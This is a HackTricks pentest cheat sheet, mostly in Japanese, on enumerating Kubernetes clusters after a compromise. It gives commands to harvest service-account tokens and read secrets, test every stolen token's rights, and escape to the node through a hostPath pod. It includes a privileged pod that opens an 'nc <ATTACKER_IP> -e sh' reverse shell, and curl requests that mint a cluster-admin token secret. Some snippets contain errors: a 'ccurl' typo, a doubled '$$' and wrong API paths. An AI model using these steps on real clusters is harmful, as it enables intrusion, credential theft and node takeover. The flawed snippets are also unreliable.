Kubernetes Enumeration

Reading time: 27 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Kubernetes Tokens

もしあなたがマシンへのアクセスを侵害した場合、ユーザーはKubernetesプラットフォームにアクセスできるかもしれません。トークンは通常、**env var KUBECONFIGで指し示されるファイルか、~/.kube**の中にあります。

このフォルダには、APIサーバーに接続するためのトークンと設定を含む設定ファイルが見つかるかもしれません。このフォルダには、以前に取得した情報を含むキャッシュフォルダもあります。

Kubernetes環境内のポッドを侵害した場合、トークンや現在のK8環境に関する情報を見つけることができる他の場所があります。

Service Account Tokens

続ける前に、Kubernetesにおけるサービスが何であるか知らない場合は、このリンクをフォローしてKubernetesアーキテクチャに関する情報を少なくとも読むことをお勧めします。

Kubernetesのドキュメントからの引用:

「ポッドを作成する際、サービスアカウントを指定しない場合、同じ名前空間内のデフォルトサービスアカウントが自動的に割り当てられます。」

ServiceAccountはKubernetesによって管理されるオブジェクトで、ポッド内で実行されるプロセスにアイデンティティを提供するために使用されます。
すべてのサービスアカウントにはそれに関連するシークレットがあり、このシークレットにはベアラートークンが含まれています。これはJSON Web Token(JWT)であり、2者間での主張を安全に表現する方法です。

通常、次のディレクトリの1つに含まれています:

  • /run/secrets/kubernetes.io/serviceaccount
  • /var/run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount

含まれるファイル:

  • ca.crt: Kubernetes通信を確認するためのCA証明書です
  • namespace: 現在の名前空間を示します
  • token: 現在のポッドのサービストークンが含まれています。

トークンを取得したので、環境変数**KUBECONFIG内でAPIサーバーを見つけることができます。詳細については、(env | set) | grep -i "kuber|kube""**を実行してください。

サービスアカウントトークンは、ファイルsa.keyに存在するキーによって署名され、sa.pubによって検証されます。

Kubernetesのデフォルトの場所:

  • /etc/kubernetes/pki

Minikubeのデフォルトの場所:

  • /var/lib/localkube/certs

Hot Pods

Hot podsは 特権サービスアカウントトークンを含むポッドです。特権サービスアカウントトークンは、シークレットのリスト作成、ポッドの作成などの特権タスクを実行する権限を持つトークンです。

RBAC

RBACが何であるか知らない場合は、このセクションを読んでください

GUI Applications

  • k9s: ターミナルからKubernetesクラスターを列挙するGUIです。コマンドはhttps://k9scli.io/topics/commands/で確認してください。:namespaceと入力し、すべてを選択してから、すべての名前空間でリソースを検索します。
  • k8slens: 無料トライアル日数を提供しています: https://k8slens.dev/

Enumeration CheatSheet

K8s環境を列挙するには、次のものが必要です:

  • 有効な認証トークン。前のセクションでユーザートークンとサービスアカウントトークンの検索場所を見ました。
  • Kubernetes APIのアドレスhttps://host:port)。これは通常、環境変数やkube設定ファイルに見つかります。
  • オプション: APIサーバーを検証するためのca.crt。これはトークンが見つかるのと同じ場所にあります。これはAPIサーバー証明書を検証するのに役立ちますが、kubectl--insecure-skip-tls-verifyを使用するか、curl-kを使用すれば必要ありません。

これらの詳細を使用して、Kubernetesを列挙できます。何らかの理由でAPIインターネットを通じてアクセス可能であれば、その情報をダウンロードしてホストからプラットフォームを列挙できます。

しかし、通常APIサーバーは内部ネットワーク内にあります。したがって、侵害されたマシンを通じてトンネルを作成して自分のマシンからアクセスする必要があります。または、kubectlバイナリをアップロードするか、**curl/wget/anything**を使用してAPIサーバーに生のHTTPリクエストを実行できます。

Differences between list and get verbs

**get**権限を持つと、特定の資産の情報にアクセスできます(kubectldescribeオプション)。

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

list 権限がある場合、資産の種類をリストするための API リクエストを実行することが許可されます (kubectlget オプション):

bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

watch 権限がある場合、資産を監視するためのAPIリクエストを実行することが許可されます:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

彼らは、Deploymentが変更されるたび(または新しいものが作成されるとき)に、完全なマニフェストを返すストリーミング接続を開きます。

caution

次の kubectl コマンドは、オブジェクトをリストする方法を示しています。データにアクセスしたい場合は、get の代わりに describe を使用する必要があります。

curlを使用する

ポッド内から、いくつかの環境変数を使用できます:

bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

warning

デフォルトでは、ポッドは kube-api サーバーkubernetes.default.svc というドメイン名で アクセス でき、/etc/resolv.config で kube ネットワークを見ることができます。ここでは、kubernetes DNS サーバーのアドレスが見つかります(同じ範囲の ".1" が kube-api エンドポイントです)。

Using kubectl

トークンと API サーバーのアドレスを持っている場合、ここに示されているように kubectl または curl を使用してアクセスします:

デフォルトでは、APISERVER は https:// スキーマで通信しています。

bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

URLにhttps://がない場合、Bad Requestのようなエラーが発生する可能性があります。

公式のkubectlチートシートはこちらで見つけることができます。以下のセクションの目的は、アクセスを取得した新しいK8sを列挙し理解するためのさまざまなオプションを順序立てて提示することです。

kubectlが送信するHTTPリクエストを見つけるには、パラメータ-v=8を使用できます。

MitM kubectl - kubectlのプロキシ化

bash
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

現在の構成

bash
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

もしユーザーの資格情報を盗むことができたら、次のような方法でローカルに設定できます:

bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

サポートされているリソースの取得

この情報を使用すると、リストできるすべてのサービスを知ることができます。

bash
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

現在の権限を取得

bash
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

特権を確認する別の方法は、ツールを使用することです: https://github.com/corneliusweig/rakkess****

Kubernetes RBAC について詳しく学ぶには、以下を参照してください:

Kubernetes Role-Based Access Control(RBAC)

どの特権を持っているかが分かったら、 次のページを確認して それらを悪用して特権を昇格できるかどうかを判断してください:

Abusing Roles/ClusterRoles in Kubernetes

他の役割を取得する

bash
k get roles
k get clusterroles

名前空間の取得

Kubernetesは、同じ物理クラスターに基づく複数の仮想クラスターをサポートしています。これらの仮想クラスターは名前空間と呼ばれます。

bash
k get namespaces

シークレットを取得する

bash
k get secrets -o yaml
k get secrets -o yaml -n custnamespace

シークレットを読み取ることができれば、次の行を使用して各トークンに関連する権限を取得できます:

bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

サービスアカウントの取得

このページの冒頭で説明したように、ポッドが実行されると通常サービスアカウントが割り当てられます。したがって、サービスアカウント、権限、およびそれらが実行されている場所をリストアップすることで、ユーザーが権限を昇格させることができるかもしれません。

bash
k get serviceaccounts

デプロイメントの取得

デプロイメントは、実行する必要があるコンポーネントを指定します。

bash
k get deployments
k get deployments -n custnamespace

Podsを取得する

Podsは実際に実行されるコンテナです。

bash
k get pods
k get pods -n custnamespace

サービスの取得

Kubernetes サービスは、特定のポートとIPでサービスを公開するために使用されます(これは、実際にサービスを提供しているポッドへのロードバランサーとして機能します)。これは、攻撃を試みるために他のサービスを見つける場所を知るのに興味深いです。

bash
k get services
k get services -n custnamespace

ノードの取得

クラスター内に構成されているすべてのノードを取得します

bash
k get nodes

DaemonSetsの取得

DaemonSetsは、特定のポッドがクラスタ内のすべてのノード(または選択されたノード)で実行されていることを保証します。DaemonSetを削除すると、それによって管理されているポッドも削除されます。

bash
k get daemonsets

Cronジョブを取得する

Cronジョブは、crontabのような構文を使用して、特定のアクションを実行するポッドの起動をスケジュールすることを可能にします。

bash
k get cronjobs

configMapを取得する

configMapには常に多くの情報と、kubernetesで実行されるアプリに提供されるconfigfileが含まれています。通常、他の内部/外部サービスに接続し、検証するために使用される多くのパスワード、秘密、トークンを見つけることができます。

bash
k get configmaps # -n namespace

ネットワークポリシー / Ciliumネットワークポリシーの取得

bash
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

すべてを取得 / すべて

bash
k get all

Helmによって管理されているすべてのリソースを取得する

bash
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

Podの消費量を取得する

bash
k top pod --all-namespaces

kubectlを使用せずにクラスターと対話する

KubernetesのコントロールプレーンがRESTful APIを公開しているため、HTTPリクエストを手動で作成し、curlwgetなどの他のツールで送信できます。

ポッドからの脱出

新しいポッドを作成できる場合、そこからノードに脱出できるかもしれません。そのためには、yamlファイルを使用して新しいポッドを作成し、作成したポッドに切り替え、次にノードのシステムにchrootします。既存のポッドをyamlファイルの参照として使用できます。既存のイメージやパスを表示しているためです。

bash
kubectl get pod <name> [-n <namespace>] -o yaml

特定のノードにポッドを作成する必要がある場合は、次のコマンドを使用してノードのラベルを取得できます。

k get nodes --show-labels

一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択するのに適したラベルです。

その後、attack.yaml ファイルを作成します。

yaml
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

その後、ポッドを作成します。

bash
kubectl apply -f attacker.yaml [-n <namespace>]

次のように作成したポッドに切り替えることができます。

bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

そして最終的に、ノードのシステムにchrootします。

bash
chroot /root /bin/bash

情報は次のから取得されました: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

特権ポッドの作成

対応するyamlファイルは次のとおりです:

yaml
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /

ポッドをcurlで作成する:

bash
CONTROL_PLANE_HOST=""
TOKEN=""

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Podを削除する

curlを使用してPodを削除する:

bash
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"

サービスアカウントの作成

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

サービスアカウントの削除

bash
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"

ロールを作成する

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

ロールの削除

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"

ロールバインディングの作成

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

ロールバインディングの削除

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"

シークレットの削除

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

シークレットの削除

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""

ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"

参考文献

Kubernetes Pentest Methodology Part 3

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする